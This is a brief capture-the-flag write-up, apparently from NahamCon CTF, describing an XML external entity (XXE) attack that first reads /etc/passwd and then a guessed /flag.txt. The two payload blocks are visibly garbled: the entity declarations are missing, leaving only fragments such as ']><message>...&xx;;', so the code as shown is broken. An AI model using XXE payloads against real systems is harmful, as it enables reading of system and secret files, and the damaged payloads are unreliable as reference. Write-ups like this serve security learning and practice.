Test XXE payload of /etc/passwd reveals vulnerable.
```
]><message><id></id><message>&xx;;</message><title>xml</title></message>```
Hint suggests "start of the universe" so maybe that is the equivalent of "/". Guess the file name is `flag.txt` and then request `/flag.txt` in XXE.
```
]><message><id></id><message>&xx;;</message><title>xml</title></message>```
[Full writeup](https://bigpick.github.io/TodayILearned/articles/2020-06/nahamConCTF-writeups#extraterrestrial)